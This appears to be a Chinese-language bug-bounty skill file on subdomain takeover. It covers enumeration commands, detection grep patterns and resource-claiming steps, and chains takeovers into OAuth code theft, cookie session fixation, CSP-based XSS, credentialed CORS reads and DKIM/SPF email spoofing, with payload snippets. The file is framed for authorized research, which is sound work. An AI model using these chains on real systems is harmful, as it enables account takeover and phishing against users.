hunt-subdomain

高价值目标

子域名接管价值极高，因为攻击者可以从可信的公司自有域名提供内容——同时绕过浏览器同源信任、钓鱼过滤器和用户的警惕性。

收益最高的场景：

• 大型 SaaS 品牌（Shopify、Snapchat、Mozilla、Yelp）的子域名，其中可信域名包含用户会话上下文
• 由 CDN 支持的子域名（Fastly、CloudFront），其中 CNAME 指向未被认领的源站
• 第三方服务集成：UserVoice、WordPress.com、GitHub Pages、GitLab Pages、Heroku、Zendesk
• 预览／暂存／开发子域名（new.、preview.、course.、delivery.、addons-preview.）——功能发布后被弃用
• 用作 OAuth 重定向 URI 或 SSO 端点的子域名——这类目标收益最高

最重要的资产类型：

• 指向已停用第三方服务的 CNAME 记录
• 指向已弃用区域的 NS 委派
• 指向未分配云 IP 的 A 记录（较少见）
• 未被认领项目命名空间的 GitLab／GitHub Pages

---

攻击面信号

DNS 信号：

• CNAME 指向 *.github.io、*.gitlab.io、*.fastly.net、*.herokudns.com、*.wordpress.com、*.uservoice.com、*.zendesk.com、*.s3.amazonaws.com、*.azurewebsites.net、*.netlify.app
• CNAME 目标返回 NXDOMAIN 或 SERVFAIL，但父记录仍然存在
• NS 记录委派到已不再注册该区域的注册商

HTTP 响应信号：

• "There isn't a GitHub Pages site here"
• "NoSuchBucket"（S3）
• "The specified bucket does not exist"
• "No such app"（Heroku）
• "Sorry, this shop is currently unavailable"（Shopify）
• "This UserVoice subdomain is available"
• "Do you want to register"（任何域名停放页面）
• HTTP 404，且使用服务提供商特有的错误模板
• Fastly："Fastly error: unknown domain"
• "404 Web Site not found"（Azure App Service）

技术栈信号：

• 响应标头：X-Served-By: cache-*（Fastly）、X-GitHub-Request-Id、Server: Netlify
• CNAME 链解析到服务提供商的基础设施，但返回服务提供商的 404
• SSL 证书签发给服务提供商的通配符域名（*.fastly.net），而非公司域名

---

分步式狩猎方法

1. 枚举目标的所有子域名，使用被动和主动来源：

   • subfinder -d target.com -all
   • amass enum -passive -d target.com
   • assetfinder --subs-only target.com
   • 证书透明度：crt.sh/?q=%.target.com

2. 解析所有子域名，并标记以下情况：

   • 返回 NXDOMAIN
   • CNAME 指向第三方服务提供商

   cat subdomains.txt | dnsx -a -cname -o resolved.txt
   

3. 交叉比对 CNAME，使用 nuclei 或 subjack 检查已知的易受攻击服务提供商指纹：

   subjack -w subdomains.txt -t 100 -timeout 30 -ssl -c fingerprints.json
   nuclei -l subdomains.txt -t takeovers/
   

4. 手动验证每个已标记的子域名：

   • dig CNAME subdomain.target.com — 确认 CNAME 存在
   • dig A <cname-target> — 确认返回 NXDOMAIN 或无法解析
   • curl --max-time 30 --connect-timeout 10 -sk https://subdomain.target.com — 检查是否出现服务提供商错误字符串

5. 确认是否可认领 — 尝试注册该资源：

   • GitHub Pages：检查 <username>.github.io/<repo> 或组织页面是否尚未被认领
   • GitLab Pages：检查项目命名空间
   • S3：尝试运行 aws s3api create-bucket --bucket <bucketname>
   • UserVoice/Zendesk/WordPress：访问注册 URL
   • Fastly：检查源主机名是否尚未注册

6. 认领该资源（只需足以证明控制权，切勿提供恶意内容）：

   • 创建一个简单的索引页面，包含你的 HackerOne 用户名和时间戳
   • 截图证明你的内容已在 subdomain.target.com 上提供

7. 记录完整链路：CNAME 记录 → 服务提供商目标 → 未认领资源 → 你的内容

8. 评估影响升级的可能性：

   • 该子域名是否出现在 OAuth 重定向允许列表中？
   • 它是否与父域名共享 Cookie（domain=.target.com）？
   • 它是否在应用的 CSP 中被引用？
   • 它能否接收经过身份验证的 API 调用？

9. 在释放认领资源之前撰写报告（部分项目希望先进行验证）

---

载荷与检测模式

批量提取 CNAME 并检测 NXDOMAIN：

# Extract CNAMEs and check if target resolves
while read sub; do
  cname=$(dig +short CNAME "$sub" | head -1)
  if [ -n "$cname" ]; then
    result=$(dig +short A "$cname")
    if [ -z "$result" ]; then
      echo "[POTENTIAL] $sub -> $cname (NXDOMAIN)"
    fi
  fi
done < subdomains.txt

Nuclei 接管扫描：

nuclei -l subdomains.txt -t ~/nuclei-templates/http/takeovers/ -severity medium,high,critical

使用 SSL 的 subjack：

subjack -w subdomains.txt -t 100 -timeout 30 -ssl -c $GOPATH/src/github.com/haccer/subjack/fingerprints.json -v

服务提供商指纹 grep 模式：

curl --max-time 30 --connect-timeout 10 -sk "https://$subdomain" | grep -iE \
  "there isn't a github pages|no such bucket|no such app|this uservoice|fastly error: unknown domain|do you want to register|sorry, this shop|project not found|404 not found|unclaimed"

检查子域名是否在 Cookie 作用范围内（共享父域名）：

curl --max-time 30 --connect-timeout 10 -Isk "https://target.com" | grep -i "set-cookie" | grep "domain=.target.com"

Fastly 专用检测：

curl --max-time 30 --connect-timeout 10 -sI "https://subdomain.target.com" -H "Host: subdomain.target.com" | grep -i "fastly\|x-served-by\|x-cache"
curl --max-time 30 --connect-timeout 10 -sk "https://subdomain.target.com" | grep -i "fastly error"

检查未认领的 S3 存储桶：

aws s3api head-bucket --bucket <extracted-bucket-name> 2>&1 | grep -i "NoSuchBucket\|403\|404"

GitLab Pages 专用检测：

dig CNAME sub.target.com
# If pointing to *.gitlab.io — visit the gitlab.io URL directly
# 404 from gitlab.io project = claimable

---

常见根本原因

1. 停用服务时未清理 DNS — 开发者移除了 Heroku 应用、UserVoice 账户或 WordPress 网站，却没有删除 CNAME 记录。DNS 记录会一直存在，服务却不会。

2. 发布后废弃了暂存／预览基础设施 — 为产品发布而配置的 course.、new.、preview.、beta. 子域名指向第三方服务，活动结束后便被遗忘。

3. 由第三方团队配置子域名 — 市场团队通过 IT 设置了 UserVoice 或 Zendesk 子域名，产品停止运营后，DNS 仍由不知情的工程团队管理。

4. CDN 配置错误且未验证源站 — Fastly 等 CDN 过去允许任何人创建指向某个后端主机名的服务，从而“认领”该主机名。未注册的源主机名因此可被认领。

5. GitHub/GitLab Pages 命名空间未保留 — 组织更名、用户账户被删除，或仓库被设为私有／删除，但 Pages CNAME 仍指向旧命名空间。

6. 通配符 DNS 记录 — *.target.com 指向云服务提供商，意味着任何未认领的子域名都可能解析到可认领的基础设施。

7. 收购／剥离公司后未清理 DNS — 收购后，原品牌的子域名（例如 Shopify 名下的 oberlo.com）仍保留指向已停止付费服务的 CNAME。

---

绕过技巧

防御措施：发布前手动审查指纹

• 绕过方法：使用其他错误字符串——服务提供商会更改其 404 页面。维护最新的指纹列表。有些服务提供商在 HTTP 和 HTTPS 下显示的错误不同。两种情况都要测试。

防御措施：范围限制（仅主域名在范围内）

• 绕过方法：仔细检查项目的资产列表——*.target.com 通配符通常默认包含子域名。提升影响等级以将其纳入范围。

防御措施：因时机问题而收到“无法复现”的回复

• 绕过方法：认领后立即截图。录制视频演示。热门子域名的可利用窗口可能很短。

防御措施：HTTPS 证书不匹配，导致无法提供证据

• 绕过方法：有些服务提供商（GitHub Pages、Netlify）会为已认领的域名自动配置 TLS。其他服务提供商不会——展示 HTTP 接管，并注明认领后服务提供商会解决 TLS 问题。

防御措施：服务提供商端验证（Fastly 验证域名所有权）

• 绕过方法：有些 Fastly 配置不会验证源站主机名。检查 CNAME 目标是通用 Fastly 后端主机名，还是经过客户验证的主机名。无论如何都要尝试认领并观察结果。

防御措施：对子域名枚举进行速率限制

• 绕过方法：使用仅被动的数据源（SecurityTrails、Shodan、crt.sh、VirusTotal），避免触发 WAF/IDS。DNS 解析不会访问 Web 服务器。

防御措施：项目声称“严重性低／没有影响”

• 绕过方法：通过证明可窃取同源 Cookie、滥用 OAuth 重定向或绕过 CSP 来提升影响等级。检查 JS 中是否有任何 postMessage targetOrigin 检查列出了该子域名。

---

第 0 关验证

1. 攻击者现在能做什么？ 你能否注册未被认领的资源（GitHub 仓库、S3 存储桶、Heroku 应用、UserVoice 帐户），并提供任意内容——包括钓鱼页面、凭据收集程序或恶意脚本——且使用目标的可信域名？

2. 受害者会失去什么？ 用户会失去信任和安全感：他们看到带有公司品牌的 URL 正在提供攻击者的内容。公司会失去品牌完整性；如果该子域名处于 domain=.target.com 的作用范围内，还可能泄露会话 Cookie，并可能导致 OAuth/SSO 流程被劫持。根据 CSP 配置，还可能对主应用实施 XSS 攻击。

3. 能否从头开始在 10 分钟内复现？

   • dig CNAME subdomain.target.com → 确认 CNAME 指向服务提供商
   • curl --max-time 30 --connect-timeout 10 -sk https://subdomain.target.com → 确认服务提供商的错误字符串
   • 访问服务提供商的注册页面 → 确认命名空间可用
   • 为上述三个步骤截图 = 可在 10 分钟内复现

如果你无法证明该服务提供商资源当前未被认领且可以认领，则这不是有效报告。

---

真实影响示例

场景 A — 通过已弃用的 SaaS 发起可信品牌钓鱼攻击（Snapchat/UserVoice） 攻击者发现 feedback.snapchat.com 的 CNAME 指向一个 UserVoice 子域名。UserVoice 账户已被取消，但 DNS 记录仍然存在。攻击者免费注册了匹配的 UserVoice 子域名，从而控制了 feedback.snapchat.com。任何访问该 URL 的用户——可能是通过旧书签或 Google 搜索结果访问——都会在带有 Snapchat 品牌的域名上看到攻击者控制的内容。由于浏览器信任该域名，从此子域名发起的钓鱼活动可以绕过检查域名信誉的电子邮件安全过滤器。

场景 B — CDN 源站接管导致同源攻击（Mozilla/Fastly） addons-preview-cdn.mozilla.net 的 CNAME 曾指向一个不再注册在 Mozilla 的 Fastly 账户下的 Fastly 源站主机名。攻击者可以创建一个声明使用该源站主机名的 Fastly 服务，使发往 addons-preview-cdn.mozilla.net 的所有请求都路由到攻击者控制的 Fastly 基础设施。由于该子域名与主域名 mozilla.net 相同，它可被利用来提供看似来自 Mozilla 基础设施的恶意 CDN 资源，从而可能绕过允许 *.mozilla.net 的 CSP 规则。

场景 C — 产品迁移后被弃用的预发布子域名（Rails/GitHub Pages） new.rubyonrails.org 曾指向一个用于网站改版项目的 GitHub Pages 部署。新网站上线后，旧 GitHub 仓库被删除或设为私有，但 DNS CNAME 仍然存在。攻击者可以分叉或创建匹配的 GitHub Pages 仓库，并抢占该命名空间，从而在 new.rubyonrails.org 下提供内容。由于这是 Ruby on Rails 的官方域名，在此提供的任何内容——包括虚假的下载链接或恶意 gem——都会带有 Rails 品牌的全部信誉。

---

已披露报告引用（2022-2023）

以下协同披露 / 漏洞分析案例通过现代服务提供商指纹（Vercel/Azure cloudapp/Zendesk 时代）和明确的 ATO 链示例扩展了本技能。引用 #12 和 #13 是外部漏洞分析（并非已披露的 HackerOne 报告）——其奖金金额未经验证；只有 #14 有公开的 H1 报告 ID。

12. Microsoft Azure DevOps — 两个 cloudapp.azure.com 子域名 + 通配符 *.visualstudio.com OAuth reply_to → 一键 ATO（Binary Security 漏洞分析）

    • 子类：Azure cloudapp.azure.com 区域池中的悬空 CNAME——链至 ATO
    • ATO 链：是 — app.vssps.visualstudio.com/_signin?reply_to=https://feedsprodwcus0dr.feeds.visualstudio.com/ 将所有 *.visualstudio.com 列入白名单。攻击者认领了悬空的 Azure VM 主机名，随后构造登录 URL，将 JWT 和 FedAuth 令牌返回到攻击者控制的端点
    • 认领流程：发现悬空的 cloudapp.azure.com CNAME，在同一 Azure 区域部署免费层 VM，并申请完全相同的已释放主机名；Azure 按先到先得原则重新分配名称
    • 年份：2021 年 2 月报告，2022 年 11 月披露 — MSRC 明确将其列为范围外（因利用了子域名接管），$0

13. 匿名 H1 — admin-support.xyz.com → 未认领的 Zendesk → 拦截电子邮件 → ATO（0xprial 撰写的漏洞分析）

    • 子类：通过 xyzdocs.zendesk.com 主机映射接管 Zendesk 帮助台
    • ATO 链：是 — 研究人员在被劫持的 Zendesk 实例上配置邮件转发，拦截包含支付信息和密码重置邮件的 [email protected] 工单，随后触发客户账户的密码重置，使重置链接送达攻击者的 Zendesk 收件箱
    • 认领流程：dig CNAME 返回 xyzdocs.zendesk.com（未注册）→ 注册免费的 Zendesk 试用版 → 添加 xyzdocs 作为子域名 → 为 admin-support.xyz.com 启用主机映射
    • 年份：2023 — 奖金据 0xprial 漏洞分析所述（博客来源；没有公开的 HackerOne 报告 ID，请视为未经验证）

14. Vercel 已删除项目接管 — 指向已移除 Vercel 项目的悬空 cname.vercel-dns.com CNAME，可通过以该名称部署新项目重新认领。

    • 子类：项目删除后遗留的 Vercel 悬空 CNAME（cname.vercel-dns.com）
    • 影响：加密货币 DEX 网络钓鱼 — proxies. 子域名被信任用于 RPC 代理路由；攻击者可在“可信”子域名下提供恶意的盗取钱包 JS
    • 认领流程：子域名返回 Vercel 404 DEPLOYMENT_NOT_FOUND → 创建免费 Vercel 项目 → Settings → Domains → 添加 proxies.sifchain.finance — Vercel 会验证现有 CNAME，并在没有带外所有权证明的情况下自动签发 TLS
    • 年份：2022 — Sifchain 将其视为严重问题（web3 网络钓鱼途径）

Fastly CDN 悬空服务技术（通用，并非单个已披露报告）：

• 指纹：子域名返回 Fastly error: unknown domain. Please check that this domain has been added to a service
• 认领流程：注册 Fastly 免费试用版 → 创建新的 CDN 服务 → 将悬空主机名添加为服务域名
• 根本原因：Fastly 历来不会在创建服务时验证 CNAME 所有权；任何指向 Fastly 任播地址的 CNAME 都可关联到新服务
• 潜在 ATO 链：若父域名在 script-src 中信任 assets./CDN 主机，则可串联 CSP 绕过 + JS 注入

---

链与组合（资深猎手）

在大多数成熟的漏洞奖励计划中，单独的子域名接管影响等级为低到中等 / 仅供参考——篡改非关键业务子域名并不吸引人。链式利用的奖金是单独利用的 10-100 倍。**提交前，应针对以下五种链逐一评估每次接管。**若均不适用，则为低危；若适用一条，则为高危；若两条组合，则为严重。

链 1 — 接管 + OAuth redirect_uri 白名单 → 窃取授权码 → 一键账户接管（ATO）

• A. 通过 /oauth/authorize 流程枚举 OAuth redirect_uri 允许列表。查找任何通配符 *.target.com，或静态列表中任何可被接管的候选主机名（例如 feedsprod.feeds.visualstudio.com、legacy.target.com）。
• B. 在该允许列表中找到可被接管的子域名。通过提供商的入驻流程认领它（Vercel 项目、Azure cloudapp 区域池、S3 存储桶、Heroku 应用、Zendesk、Shopify 店面——参见上文披露报告引用）。
• C. 在认领的子域名上托管 OAuth 回调接收端。将受害者引导至 /oauth/authorize?redirect_uri=https://legacy.target.com/cb&response_type=code&client_id=<legit>。受害者的浏览器已有会话 → 授权透明完成 → 授权码落入攻击者主机。通过令牌端点交换 → 账户接管（ATO）。
• 影响： 可对目标的所有用户实施持久的一键账户接管。OAuth 流程对用户是隐式的（如果此前已同意，则不会出现同意页面），因此只需点击攻击者链接一次。
• 真实案例形态： Microsoft Azure DevOps cloudapp.azure.com + 通配符 *.visualstudio.com reply_to 链（Binary Security，2022 年 11 月——披露报告引用 #12）。多个 SaaS 项目在 H1 上披露了 OAuth 允许列表配置过于宽松的问题。

链 2 — 接管兄弟子域名 + Cookie 域通配符 → 父级应用上的会话固定

• A. 检查主应用（app.target.com）设置的 Cookie。如果 Set-Cookie 使用 Domain=.target.com（父域作用域）而不是仅限主机的 Cookie，Cookie 就会泄露到每个兄弟子域名——包括已被接管的子域名。
• B. 接管任意兄弟子域名（legacy.target.com、feedback.target.com、assets.target.com）。现在，被接管的主机可以为父域设置 Set-Cookie。
• C. 通过被接管主机上的脚本植入 Set-Cookie: SESSIONID=<attacker_session>; Domain=.target.com。受害者访问 app.target.com 时会附带攻击者的会话 Cookie。服务器将其视为攻击者账户 → 通过会话固定实现账户接管（ATO）。
• 影响： 无需 OAuth 或重置密码即可实现账户接管——完全依靠 Cookie 域泄露。当父级应用使用未添加 __Host- 前缀的会话 Cookie 时尤其有效。
• 真实案例形态： hunt-auth-bypass 中的 Duende BFF 攻击类别 2 对此进行了深入讨论（Cookie 域通配符会将子域名接管转变为会话固定）。模式类别：S3 存储桶接管与父域作用域（Domain=.target.com）Cookie 结合。

链 3 — 接管 + CSP script-src 包含被接管主机 → 主应用上的持久型存储 XSS

• A. 检查主应用 HTML 响应中的 CSP 标头。查找 script-src 'self' assets.target.com cdn.target.com legacy.target.com ...。
• B. 接管 CSP 允许列表中的一个子域名（常见目标尤其包括：指向已删除 CDN 的过期 CNAME、已删除的 Vercel/Netlify 项目、已归档的分析服务）。
• C. 在被接管的主机上托管攻击者控制的 JavaScript。主应用的每次页面加载都会获取 <script src="//taken-over-host/x.js">，因为该主机位于 CSP 允许列表中。JS 以主应用的来源执行——可完全访问会话，并能调用任何同源 API。
• 影响： 主应用的每个页面都相当于存在存储型 XSS，且会持续有效，直到更新 CSP。由于 CSP 将该 JS 源视为“可信”，因此可绕过所有输入清理器。
• 真实案例形态： Sifchain 的 proxies.sifchain.finance Vercel 接管——披露报告引用 #14（Web3 钓鱼）；多篇 2020-2024 年 H1 披露报告记录了此类模式。

链 4 — 接管 + CORS Access-Control-Allow-Origin 正则匹配 → 携带凭据的跨域 API 读取

• A. 检查 API 的 CORS 配置。查找 Access-Control-Allow-Origin 中包含 *.target.com 或 target.com.* 的任何正则表达式／通配符／后缀匹配（第二种是常见错误）。
• B. 接管 CORS 正则表达式会接受的任何子域（如果后缀匹配存在漏洞，则注册新的 target.com.attacker.com 主机）。
• C. 托管在被接管子域上的攻击者页面会发出 fetch('https://api.target.com/account', {credentials:'include'})。CORS 预检通过。服务器返回携带凭据的响应。攻击者的 JS 可以读取该响应。
• 影响： 携带凭据的大规模跨租户 API 读取——会话、PAT、账户数据、账单记录——都能通过单个攻击者页面访问。
• 实际案例： 多个已披露案例；交叉参考 hunt-api-misconfig 的 CORS 小节。与 hunt-misc 步骤 1（CORS 正则枚举）相辅相成。

链 5 — 接管邮箱 DNS（DKIM / SPF / MX）→ 邮件欺骗 → 利用母品牌进行可信钓鱼

• A. 枚举目标的邮箱 DNS——DKIM 选择器（selector1._domainkey.target.com）、SPF 包含项（include:_spf.takeover-candidate.com）、MX 记录（mx.target.com → defunct-provider.example）。
• B. 接管任何 DKIM 选择器或 SPF 包含项主机。现在，攻击者可以发布 DKIM/SPF 记录，授权自己的服务器以 @target.com 的名义发送邮件。
• C. 向受害者发送钓鱼邮件 From: [email protected]。收件人的邮件服务器通过 SPF + DKIM 检查（因为接管的服务器现在已获得授权）。邮件会带着 target.com 品牌进入收件箱，且没有安全警告。
• 影响： 利用母品牌实施高效钓鱼活动。受害者信任这封邮件，因为所有身份验证检查都通过了。可用于凭据窃取、BEC 欺诈和供应链访问。
• 实际案例： 多个关于 DKIM 选择器接管／SPF 包含链劫持的历史披露案例。交叉参考 offensive-osint 中的 DMARC / SPF / DKIM 小节。

操作层面模式

实际上，上述五条链已涵盖所有情况——几乎每个高级别子域接管赏金都对应其中一条。报告任何接管漏洞之前，请按以下清单逐项检查：

1. OAuth redirect_uri 允许列表 — 被接管的主机是否在其中？→ 链 1，严重。
2. 父域 Cookie — 主应用是否设置了 Domain=.target.com？→ 链 2，高危。
3. CSP script-src — 被接管的主机是否在允许列表中？→ 链 3，严重。
4. CORS 允许列表 — 是否有任何正则表达式会匹配被接管的主机？→ 链 4，高危。
5. 邮箱 DNS（DKIM 选择器 / SPF 包含项） — 被接管的主机是否在其中？→ 链 5，高危。

如果这些情况均不适用，请按低危／信息级提交。如果未证明存在上述任一链，请勿按严重级提交——否则分诊人员很快就会下调评级。

交叉参考：

• hunt-oauth — 链 1（redirect_uri 绕过类别）
• hunt-auth-bypass Duende BFF 攻击类别 2 — 链 2（Cookie 作用域）
• hunt-xss 链 4 — 链 3（通过受信任来源 JS 绕过 CSP）
• hunt-api-misconfig CORS 小节 — 链 4
• offensive-osint 邮件安全小节 — 链 5

---

验证

运行此自测，确认已准备好进行子域名探测：

1. 技能完整性 — 确认技能文件可读且格式正确：

   grep -q "name: hunt-subdomain" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL"
   grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL"
   

2. 类别检查 — 确认技能已设置类别：

   grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL"
   

3. 陷阱小节 — 确认已记录常见陷阱：

   grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
   

这 3 项测试可验证技能结构正确且已准备就绪。

---

陷阱

• 未验证就进行子域名枚举 — DNS 解析只能证明域名存在。需要通过 HTTP 探测确认它是仍在运行的 Web 服务。
• 混淆第三方服务是否在范围内 — 指向 Zendesk、Shopify、statuspage.io 的子域名通常不在范围内。请核实所有权。
• 过时的 DNS 记录 — 解析到失效 IP 或停放页面的子域名仅提供参考信息。需要有活跃服务。
• 通配符 DNS — *.target.com 解析到同一 IP，会掩盖真实子域名。在声称枚举完整之前，先检测是否存在通配符。
• 未认领的子域名接管 — 悬空 CNAME 能证明存在被接管的可能性。需要实际认领资源（或证明它可以被认领）。

---

相关技能与链路

• hunt-cloud-misconfig — 大多数过时的 CNAME 都指向已删除的云资产（S3、CloudFront、Heroku）。利用链：云配置错误（S3 已删除）+ hunt-subdomain → 未认领的 CNAME 指向存储桶 → 认领存储桶名称 → 完全控制子域名。
• hunt-oauth — 接管 OAuth redirect_uri 主机可导致整个 SSO 面都持续遭受 ATO。利用链：接管 auth.target.com 子域名 + OAuth redirect_uri 允许列表 → 窃取授权码 → 每个重新进行身份验证的用户都遭受 ATO。
• hunt-api-misconfig — CORS 正则表达式经常会将可被接管的子域名加入允许列表。利用链：子域名接管 + 带凭据的 CORS *.target.com → 通过凭据跨源读取 API → 大规模 IDOR。
• hunt-xss — 已认领的子域名与共享会话 Cookie 的子域名处于同源。利用链：接管 feedback.target.com 子域名 + Cookie 作用域 .target.com → 托管在被接管主机上的 JS 读取主应用 Cookie → 劫持会话。
• security-arsenal — 加载 27+ 子域名接管指纹表（NoSuchBucket、"no such app"、GitHub Pages 404 字符串、Heroku、Shopify、Fastly）以及 subzy/subjack 自动化模式。
• triage-validation — 应用唯一标记门槛：接管认领本身仅提供参考信息；只有在已认领的主机上发布唯一 HTML 标记，并证明存在下游影响（读取 Cookie、OAuth 链路、绕过 CSP）后才提交。